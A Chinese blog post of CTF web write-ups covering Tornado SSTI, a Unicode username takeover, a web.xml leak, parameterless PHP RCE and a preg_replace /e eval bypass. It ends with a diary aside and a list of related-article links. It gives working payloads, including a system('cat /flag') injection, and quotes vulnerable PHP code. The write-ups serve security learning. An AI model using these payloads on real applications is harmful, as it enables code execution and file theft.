上班

1.[护网杯 2018]easy_tornado


考点:

MD5加密
ssti注入

开局三个超链接

点进去看

提示了render加上标题easy_tornado想到ssti注入

render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。

总结:
1. render方法的实质就是生成template模板;
2. 通过调用一个方法来生成,而这个方法是通过render方法的参数传递给它的;
3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的html内容
4. 通过这三个参数,可以生成一个完整的木模板

 tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

看见传参 就传试试

然后报错了

看见msg也可以传

再传试试 用俩花括号是因为

Tornado templates support control statements and expressions. Control
statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}

看见有回显

再传2回显orz就说明符合ssti注入

然后就是之前看到的cookie_secret

cookie_secret在Application对象settings的属性中 ,访问它的话就需要知道它的属性名字上网查到:self.application.settings有一个别名是RequestHandler.settings其中handler又是指向处理当前这个页面的RequestHandler对象RequestHandler.settings指向self.application.settings因此handler.settings指向RequestHandler.application.settings

然后再根据之前的secret_cookie转md5

最后的payload

file?filename=/fllllllllllllag&filehash=a8d61d7f9d4b11e297b6a479b20b7de1

2.[HCTF 2018]admin


解法1:

开局点开菜单里面再点就有登录

界面

用admin登陆试试

也有账号注册功能

看来admin这个账号存在

试试弱密码123

可还行

解法2:

注册发现

在password change里面看见源码

直接去康康就变代码审计了

看见里面twisted的版本很低

再利用这里nodeprep.prepare函数将unicode字符ᴬ转换成A,

而A再次调用nodeprep.prepare函数会把A转换成a

就可以考虑注册登陆ᴬᴰᴹᴵᴺ再修改密码了

再登录的时候直接用admin

3.[RoarCTF 2019]Easy Java


考点:

web.xml泄露
filter伪协议读取

这题也是个登陆的

但登录是个噱头

点进help看见这个

查到这个是WEB-INF/web.xml泄露

把get改post

再读

再64解码就来了

4.[GXYCTF2019]禁止套娃


开局啥也没有(感觉被戏弄 f12也没看见啥 就用dirsearch搜

看见.git目录,猜测存在.git源码泄露

用githack下载.git发现有东东

然后就发现源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

这里三个if都在正则匹配过滤

第一个过滤几个伪协议

第二个

(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。
引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,
那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,
这其实是无参数RCE比较典型的例子,

第三个过滤et/na/info等一些关键字嘛

用scandir列出指定目录中的文件和目录,无参就列出当前目录的文件

payload

?exp=print_r(scandir(current(localeconv())));

next()函数讲内部指针指向数组中的下一个元素,并输出

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

最后的payload用highlight_file显示代码

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

5.[BJDCTF2020]ZJCTF,不过如此


如题 不过如此的代码审计

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

用伪协议匹配后面的句子再用伪协议包括一下next.php

payload

/?text=data:text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php

然后得到一串base64解码得下面

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

这应该是next.php

主要就是绕过正则执行eval

然后

直接传.*由于php字符解析 .会被替代成下划线
所以我们换个元字符\S
\S表示匹配非空格以外的所有字符
\S*=${phpinfo()}

然后就最后的payload咯

/next.php?\S*=${getFlag()}&cmd=system("cat%20/flag");

下班

每周一苦涩

在家待了一个假期

腿废了

和以前跑马拉松的队友碰见了

想跟着他跑

直接被拉好几圈

呜呜

太菜了 还是老老实实学安全把 难受

Web安全学习Week12相关推荐

  1. Web前端学习有哪些技巧?

    想要学好web前端技术,在学习过程中找到合适的方法和技巧,那么在实际学习过程中会更加的容易和快速掌握知识重点,尤其是对于初学者尤为关键,下面小编就为大家详细的介绍一下Web前端学习有哪些技巧?希望能够 ...

  2. html 表单自动数值,web前端学习技术之对HTML5 智能表单的理解

    原标题:web前端学习技术之对HTML5 智能表单的理解 Html5新增input的form属性,用于指向特定form表单的id,实现input无需放在form标签之中,即可通过表单进行提交. - t ...

  3. Web前端学习路线分享,初学者不要错过!

    在技术岗中,前端开发一直是薪资比较高的岗位. ▲北京前端工程师月均薪20.7K(职友集) 前端技术的更新迭代,导致大部分技术人员跟不上.因此越来越多的人想转型做前端开发了.毕竟想要驰骋职场,想要拿年薪 ...

  4. Web前端学习技巧有哪些?本文给你答案

    随着互联网的快速发展,web前端技术在不断的更新,有着美好前景的web前端岗位引起了很多人的关注,很多人都开始报班学习web前端技术.那么web前端学习技巧有哪些?来看看下面的详细介绍. web前端学 ...

  5. web前端学习文档 电子版_web前端小白系统入门学习

    正文 互联网正在改变我们的生活,前端也成了很重要的岗位之一,许多人都往前端靠拢,可又无能为力,不知所措,首先我们说为什么在编程里,大家都倾向于往前端靠呢?原因很简单,那就是,在程序员的世界里,前端开发 ...

  6. 如何使用jquery_好程序员web前端学习路线分享jQuery学习技巧

    好程序员web前端学习路线分享jQuery学习技巧,jQuery在web前端学习中是一个必不可少的内容,很多小伙伴都在学习这阶段的时候遇到问题,今天我们就来聊一下jQuery,让我们一起来看一看吧! ...

  7. Spring Web Service 学习之Hello World篇

    http://fuxueliang.iteye.com/blog/175184 Spring Web Service是Spring社区基于Spring提供的一个关注于创建"文档驱动" ...

  8. 【Java Web开发学习】Spring4条件化的bean

    [Java Web开发学习]Spring4条件化的bean 转载:https://www.cnblogs.com/yangchongxing/p/9071960.html Spring4引入了@Con ...

  9. js怎么在一个div中嵌入另一网站_好程序员web前端学习路线分享HTML5常见面试题集锦一...

    好程序员web前端学习路线分享HTML5常见面试题集锦,接下来将会持续为大家分享几篇HTML5常见面试题. 1.布局 左边20% 中间自适应 右边200px 不能用定位 答案:圣杯布局/双飞翼布局或者 ...

最新文章

  1. 关于爬楼梯的lintcode代码
  2. 又见程序员精神——有感于谷歌一天一夜开发春运交通图
  3. python面向对象思路_python面向对象方法
  4. LNMP与CA认证的童话故事
  5. 离线安装 Android 4.0 SDK
  6. 浏览器css bug及bug解决方法
  7. 盈建科弹性板6计算_YJK参数设置详细解析
  8. Command Prompt + Perl 脚本编写笔记
  9. heading pitch roll 飞行姿态角度
  10. 数学建模层次分析法例题及答案_数学建模层次分析法题目及程序
  11. php在线拍照代码,PHP+Javascript实现在线拍照功能实例
  12. oppo r11s鸿蒙固件,OPPO R11s官方固件rom刷机包_OPPO R11s系统升级更新包下载
  13. No.4 - 第一章 启航 - 什么是事件驱动型应用 | Flink 知其然,知其所以然
  14. doc、docx文档批量合并
  15. python dot_graphviz,dot,及dot图可视化
  16. php liger 表格排序,LigerUI之grid表格点击表头标题排序实现
  17. 安全合规--40--基于欧美法律法规的企业隐私合规体系建设经验总结(四)
  18. vue+element上传图片到阿里云(可直接运行domo)
  19. 一阶低通滤波器和二阶低通滤波器
  20. 【PHP】抖音授权登录并获取用户公开信息(网页)

热门文章

  1. 硬盘转换格式为NTFS或者其它
  2. 列出MSSQL所有数据库名、所有表名、所有字段名
  3. Excel VBA(04)数组和字典
  4. oracle 按旬统计并且每月小计 行转列 PIVOT函数 与分组小计 ROLLUP 函数
  5. ResNet DenseNet(原理篇)
  6. 计算机工程与科学是sci,系统科学与系统工程有哪些sci期刊
  7. 数据结构 之 无向连通图
  8. 备库ORA-00313 ORA-00312 ORA-27037
  9. Sunday算法流程与代码
  10. linux下 获取系统时间的相关函数